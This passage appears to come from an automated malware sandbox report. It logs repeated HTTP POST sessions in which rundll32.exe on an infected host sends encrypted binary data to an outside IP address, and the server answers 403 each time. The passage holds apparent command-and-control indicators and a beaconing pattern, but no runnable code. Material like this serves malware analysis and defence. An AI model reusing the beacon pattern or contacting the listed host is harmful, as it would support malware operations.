8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:20 UTC	227	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:19 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49979	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:22 UTC	227	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:22 UTC	227	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:22 UTC	232	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49981	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:23 UTC	232	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:23 UTC	232	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:23 UTC	237	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:23 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49987	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:25 UTC	237	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:25 UTC	237	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:26 UTC	242	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49989	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:27 UTC	242	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:27 UTC	242	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:27 UTC	246	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:27 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49764	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:03:57 UTC	24	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:03:57 UTC	24	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:03:57 UTC	29	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:03:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49995	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:29 UTC	247	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:29 UTC	247	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:30 UTC	251	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49997	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:31 UTC	252	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:31 UTC	252	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:31 UTC	256	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:31 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	50003	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:34 UTC	257	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:34 UTC	257	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:35 UTC	261	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:35 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	50005	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:35 UTC	261	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:35 UTC	262	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:36 UTC	266	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	50011	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:38 UTC	266	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:38 UTC	266	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:39 UTC	271	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:39 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	50013	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:39 UTC	271	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:39 UTC	271	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:40 UTC	276	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:40 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	50019	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:42 UTC	276	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:42 UTC	276	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:43 UTC	281	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:43 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	50021	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:43 UTC	281	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:43 UTC	281	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:44 UTC	286	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:44 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	50034	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:46 UTC	286	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:46 UTC	286	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:47 UTC	291	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:47 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	50039	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:47 UTC	291	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
